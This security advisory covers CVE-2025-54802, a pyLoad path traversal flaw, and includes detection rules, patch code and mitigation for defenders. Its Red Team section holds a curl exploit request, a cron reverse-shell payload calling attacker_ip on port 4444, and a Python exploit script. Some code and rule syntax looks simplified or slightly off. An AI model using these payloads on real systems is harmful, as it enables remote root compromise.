CVE-2025-54802

Executive Summary

CVE-2025-54802 is a critical unauthenticated path traversal vulnerability in pyLoad, a free and open-source download manager. The flaw resides in the addcrypted endpoint of the pyLoad-ng CNL Blueprint. By manipulating the package parameter, an unauthenticated attacker can write arbitrary files to arbitrary locations on the filesystem. This can be leveraged to overwrite system files (e.g., cron jobs, systemd services) leading to full remote code execution (RCE) as root. The vulnerability affects versions 0.5.0b3.dev89 and below. A patch was introduced in version 0.5.0b3.dev90. The CVSS score is 9.8 (Critical).

Supply Chain & Package Security

pyLoad is a Python-based application distributed via PyPI and GitHub. The vulnerability exists in the source code itself, not in a dependency. However, the risk is amplified for users who install pyLoad via pip or from the official GitHub repository without verifying the integrity of the package. The lack of a signed release or checksum verification in older versions increases the risk of supply chain attacks if an attacker were to compromise the distribution channel.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – An attacker can read arbitrary files.
• Integrity (I): High (H) – An attacker can write arbitrary files.
• Availability (A): High (H) – An attacker can disrupt service or execute code.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with root privileges. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but this is likely due to the CVE being newly published.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the addcrypted endpoint of the CNL Blueprint. The endpoint accepts a package parameter that is used to construct a file path for storing downloaded content. The application fails to sanitize or validate the package parameter, allowing an attacker to include path traversal sequences (e.g., ../) to escape the intended storage directory.

Vulnerable Code Flow:

1. The addcrypted endpoint receives a POST request with a package parameter.
2. The application constructs a file path by concatenating a base directory with the user-supplied package value.
3. The application writes the decrypted content to this constructed path.
4. Because the package parameter is not sanitized, an attacker can set it to something like ../../etc/cron.d/malicious to write a cron job to the system's cron directory.

Impact:

• Arbitrary File Write: An attacker can write any content to any location on the filesystem.
• Remote Code Execution: By writing a cron job or a systemd service file, the attacker can execute arbitrary commands as root.
• Privilege Escalation: The pyLoad service typically runs as root, so any code execution is already at the highest privilege level.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.5.0b3.dev89):

# In pyload-ng's CNL blueprint
@bp.route('/addcrypted', methods=['POST'])
def addcrypted():
    package = request.form.get('package')
    # No sanitization of package parameter
    filepath = os.path.join(storage_dir, package)
    with open(filepath, 'w') as f:
        f.write(decrypted_content)
    return 'OK'

Patched Code (>= 0.5.0b3.dev90):

# In pyload-ng's CNL blueprint
import os
from werkzeug.utils import secure_filename

@bp.route('/addcrypted', methods=['POST'])
def addcrypted():
    package = request.form.get('package')
    # Sanitize the package parameter to prevent path traversal
    safe_package = secure_filename(package)
    filepath = os.path.join(storage_dir, safe_package)
    # Additional check to ensure the path is within the storage directory
    if not os.path.realpath(filepath).startswith(os.path.realpath(storage_dir)):
        abort(403)
    with open(filepath, 'w') as f:
        f.write(decrypted_content)
    return 'OK'

The patch uses secure_filename from Werkzeug to strip out path traversal sequences and then verifies that the resolved path is within the intended storage directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable pyLoad instance (version <= 0.5.0b3.dev89) running on a target.
• Network access to the pyLoad web interface (default port 8000).

Exploit Steps:

1. Identify the target: Use Shodan or manual scanning to find pyLoad instances.
2. Craft the payload: Create a malicious cron job or systemd service file.
3. Send the exploit request:

   curl -X POST http://target:8000/addcrypted \
     -d "package=../../etc/cron.d/malicious&crypted=...&jk=..."
   

   • package: Path traversal to the target location.
   • crypted: The encrypted content (or plaintext if encryption is not enforced).
   • jk: The decryption key (if required).
4. Trigger the payload: Wait for the cron job to execute or restart the service.

Example Payload (Cron Job):

# Content to write to /etc/cron.d/malicious
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

Full Exploit Script (Python):

import requests

target = "http://target:8000"
payload = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
# Assuming the endpoint expects encrypted data, we may need to encrypt the payload
# For simplicity, we assume plaintext is accepted
data = {
    "package": "../../etc/cron.d/malicious",
    "crypted": payload,
    "jk": "anykey"
}
r = requests.post(f"{target}/addcrypted", data=data)
print(r.text)

Blue Team

Detection:

• Monitor for POST requests to /addcrypted with suspicious package parameters containing ../ or absolute paths.
• Alert on file writes to sensitive directories (e.g., /etc/cron.d/, /etc/systemd/system/, /tmp/).
• Use file integrity monitoring (FIM) to detect unauthorized changes to system files.

Hunting:

• Search logs for package parameter values that include path traversal sequences.
• Look for unexpected cron jobs or systemd services.
• Check for outbound connections from the pyLoad server to unknown IPs.

Mitigation:

• Immediately upgrade to pyLoad version 0.5.0b3.dev90 or later.
• If upgrade is not possible, implement a WAF rule to block path traversal patterns in the package parameter.
• Restrict network access to the pyLoad web interface to trusted IPs only.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /addcrypted with package parameter containing ../ or absolute paths.
• Outbound connections from the pyLoad server to suspicious IPs on common reverse shell ports (4444, 1337, etc.).

File System IOCs:

• Unexpected files in /etc/cron.d/, /etc/systemd/system/, or /tmp/ with suspicious content.
• Modified pyLoad configuration files.
• Presence of reverse shell scripts or binaries.

Log IOCs:

• pyLoad access logs showing unusual package parameter values.
• System logs indicating new cron jobs or services being created.

Detection Engineering

YARA Rule

rule CVE_2025_54802_pyLoad_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in pyLoad addcrypted endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54802"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/"
        $traversal4 = "/var/"
        $traversal5 = "/tmp/"
    condition:
        any of ($traversal*) and
        # of ($traversal*) > 1
}

Sigma Rule

title: CVE-2025-54802 - pyLoad Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in pyLoad addcrypted endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54802
logsource:
    category: webserver
    product: pyLoad
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/addcrypted'
        cs-uri-query|contains|all:
            - 'package='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of nested directories (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54802 - pyLoad Path Traversal Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/addcrypted"; http.client_body; content:"package"; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pyLoad to version 0.5.0b3.dev90 or later.
2. Restrict network access to the pyLoad web interface using a firewall or reverse proxy.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the package parameter.

Long-Term Measures:

• Input Validation: Ensure all user-supplied input is sanitized using functions like secure_filename and validated against a whitelist of allowed characters.
• Least Privilege: Run pyLoad as a non-root user with minimal permissions.
• File Integrity Monitoring: Deploy FIM tools to detect unauthorized changes to critical system files.
• Regular Security Audits: Conduct code reviews and penetration testing on the application.

Workaround (if patching is not possible):

• Disable the CNL Blueprint by removing or commenting out the route in the pyLoad source code.
• Use a reverse proxy to block POST requests to /addcrypted from untrusted IPs.

Valters IT
Securing Digital Frontiers